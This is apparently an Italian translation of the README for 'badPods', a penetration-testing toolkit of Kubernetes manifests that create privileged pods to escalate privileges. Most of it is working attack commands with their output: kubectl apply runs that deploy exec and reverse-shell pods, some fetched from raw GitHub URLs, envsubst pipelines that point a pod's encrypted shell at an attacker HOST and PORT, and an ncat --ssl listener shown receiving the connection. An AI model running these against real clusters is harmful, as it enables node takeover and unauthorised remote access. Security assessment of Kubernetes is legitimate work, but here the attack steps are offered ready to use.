
Una raccolta di manifest che creerà pod con privilegi elevati.

Una raccolta di manifest che creano pod con diversi privilegi elevati. Dimostra rapidamente l'impatto del consentire attributi dei pod sensibili per la sicurezza come hostNetwork, hostPID, hostPath, hostIPC e privileged.
Per ulteriori informazioni, consulta il nostro post del blog: Bad Pods: Kubernetes Pod Privilege Escalation.
Ogni link di seguito fornisce informazioni dettagliate sull'utilizzo e raccomandazioni per la post-exploitation.
Per informazioni più generali su prerequisiti, organizzazione del repository e modelli di utilizzo comuni, consulta le sezioni sottostanti.
├── manifests
│ ├── everything-allowed
│ │ ├── cronjob
│ │ │ ├── everything-allowed-exec-cronjob.yaml
│ │ │ └── everything-allowed-revshell-cronjob.yaml
│ │ ├── daemonset
│ │ │ ├── everything-allowed-exec-daemonset.yaml
│ │ │ └── everything-allowed-revshell-daemonset.yaml
│ │ ├── deployment
│ │ │ ├── everything-allowed-exec-deployment.yaml
│ │ │ └── everything-allowed-revshell-deployment.yaml
│ │ ├── job
│ │ │ ├── everything-allowed-exec-job.yaml
│ │ │ └── everything-allowed-revshell-job.yaml
│ │ ├── pod
│ │ │ ├── everything-allowed-exec-pod.yaml
│ │ │ └── everything-allowed-revshell-pod.yaml
│ │ ├── replicaset
│ │ │ ├── everything-allowed-exec-replicaset.yaml
│ │ │ └── everything-allowed-revshell-replicaset.yaml
│ │ ├── replicationcontroller
│ │ │ ├── everything-allowed-exec-replicationcontroller.yaml
│ │ │ └── everything-allowed-revshell-replicationcontroller.yaml
│ │ └── statefulset
│ │ ├── everything-allowed-exec-statefulset.yaml
│ │ └── everything-allowed-revshell-statefulset.yaml
│ ├── hostipc
│ │ ├── cronjob
│ │ │ ├── hostipc-exec-cronjob.yaml
│ │ │ └── hostipc-revshell-cronjob.yaml
│ │ ├── daemonset
│ │ │ ├── hostipc-exec-daemonset.yaml
│ │ │ └── hostipc-revshell-daemonset.yaml
...omitted for brevity...
Come sottolinea Eviatar Gerzi (@g3rzi) nel post Eight Ways to Create a Pod, ci sono 8 diversi controller che possono creare un pod o un insieme di pod. Potresti non essere autorizzato a creare pod, ma forse puoi creare un altro tipo di risorsa che creerà uno o più pod. Per ogni tipo di badPod, sono disponibili manifest che corrispondono a tutti e otto i tipi di risorsa.
Ma aspetta, c'è di peggio! Oltre agli otto controller Kubernetes attuali che possono creare pod, esistono controller di terze parti che possono creare pod se vengono applicati al cluster. Tienili d'occhio esaminando kubectl api-resources.
Sebbene comune, non è sempre possibile eseguire l'exec nei pod che puoi creare. Per aiutare in queste situazioni, è inclusa una versione di ciascun manifest che utilizza l'immagine Docker Hub ncat di Rory McCune (@raesene). Una volta creato, il pod effettuerà una chiamata criptata verso il tuo listener.
Ogni risorsa nella directory manifests punta a un attributo specifico o a una combinazione di attributi che, quando consentiti, espongono il cluster a rischi.
kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml
Per evitare di dover modificare ogni pod con il tuo host e la tua porta, puoi usare le variabili d'ambiente e il comando envsubst. Ricorda di avviare prima tutti i tuoi listener!
HOST="10.0.0.1" PORT="3111" envsubst < ./manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3112" envsubst < ./manifests/priv-and-hostpid/pod/priv-and-hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3113" envsubst < ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3114" envsubst < ./manifests/hostpath/pod/hostpath-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3115" envsubst < ./manifests/hostpid/pod/hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3116" envsubst < ./manifests/hostnetwork/pod/hostnetwork-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3117" envsubst < ./manifests/hostipc/pod/hostipc-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3118" envsubst < ./manifests/nothing-allowed/pod/nothing-allowed-revshell-pod.yaml | kubectl apply -f -
kubectl apply -f manifests/hostnetwork/cronjob/hostnetwork-exec-cronjob.yaml
Trova il pod creato
kubectl get pods | grep cronjob
NAME READY STATUS RESTARTS AGE
hostnetwork-exec-cronjob-1607351160-gm2x4 1/1 Running 0 24s
Esegui l'exec nel pod
kubectl exec -it hostnetwork-exec-cronjob-1607351160-gm2x4 -- bash
kubectl apply -f manifests/priv-and-hostpid/deployment/priv-and-hostpid-exec-deployment.yaml
Trova il pod creato
kubectl get pods | grep deployment
priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 1/1 Running 0 56s
priv-and-hostpid-exec-deployment-65dbfbf947-tghqh 1/1 Running 0 56s
Esegui l'exec nel pod
kubectl exec -it priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 -- bash
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl apply -f {} \;
cronjob.batch/everything-allowed-exec-cronjob created
daemonset.apps/everything-allowed-exec-daemonset created
deployment.apps/everything-allowed-exec-deployment created
job.batch/everything-allowed-exec-job created
pod/everything-allowed-exec-pod created
replicaset.apps/everything-allowed-exec-replicaset created
replicationcontroller/everything-allowed-exec-replicationcontroller created
service/everything-allowed-exec-statefulset-service created
statefulset.apps/everything-allowed-exec-statefulset created
Visualizza tutti i pod creati
kubectl get pods
NAME READY STATUS RESTARTS AGE
everything-allowed-exec-daemonset-qbrdb 1/1 Running 0 52s
everything-allowed-exec-deployment-6cd7685786-rp65h 1/1 Running 0 51s
everything-allowed-exec-deployment-6cd7685786-m66bl 1/1 Running 0 51s
everything-allowed-exec-job-fhsbt 1/1 Running 0 50s
everything-allowed-exec-pod 1/1 Running 0 50s
everything-allowed-exec-replicaset-tlp8v 1/1 Running 0 49s
everything-allowed-exec-replicaset-6znbz 1/1 Running 0 49s
everything-allowed-exec-replicationcontroller-z9k8n 1/1 Running 0 48s
everything-allowed-exec-replicationcontroller-m4648 1/1 Running 0 48s
everything-allowed-exec-statefulset-0 1/1 Running 0 47s
everything-allowed-exec-statefulset-1 1/1 Running 0 42s
Elimina tutte le risorse everything-allowed
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl delete -f {} \;
Configura il listener
ncat --ssl -vlp 3116
Crea il pod dal file yaml locale senza modificarlo usando variabili d'ambiente e envsubst
HOST="10.0.0.1" PORT="3116" envsubst < ./yaml/priv/pod-priv-revshell.yaml | kubectl apply -f -
Cattura la shell
ncat --ssl -vlp 3116
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: Listening on :::3116
Ncat: Listening on 0.0.0.0:3116
Connection received on 10.0.0.162 42035
Pull request e segnalazioni di problemi (issues) sono benvenute.
Grazie a Rory McCune, Duffie Cooley, Brad Geesaman, Tabitha Sable, Ian Coldwater, Mark Manning, Eviatar Gerzi e Madhu Akula per aver condiviso pubblicamente così tante conoscenze sulla sicurezza offensiva di Kubernetes.
Ogni Bad Pod ha una propria sezione di riferimenti e letture consigliate, ma ecco alcune risorse più generali che ti aiuteranno a migliorare le tue competenze nella valutazione della sicurezza di Kubernetes e nei penetration test.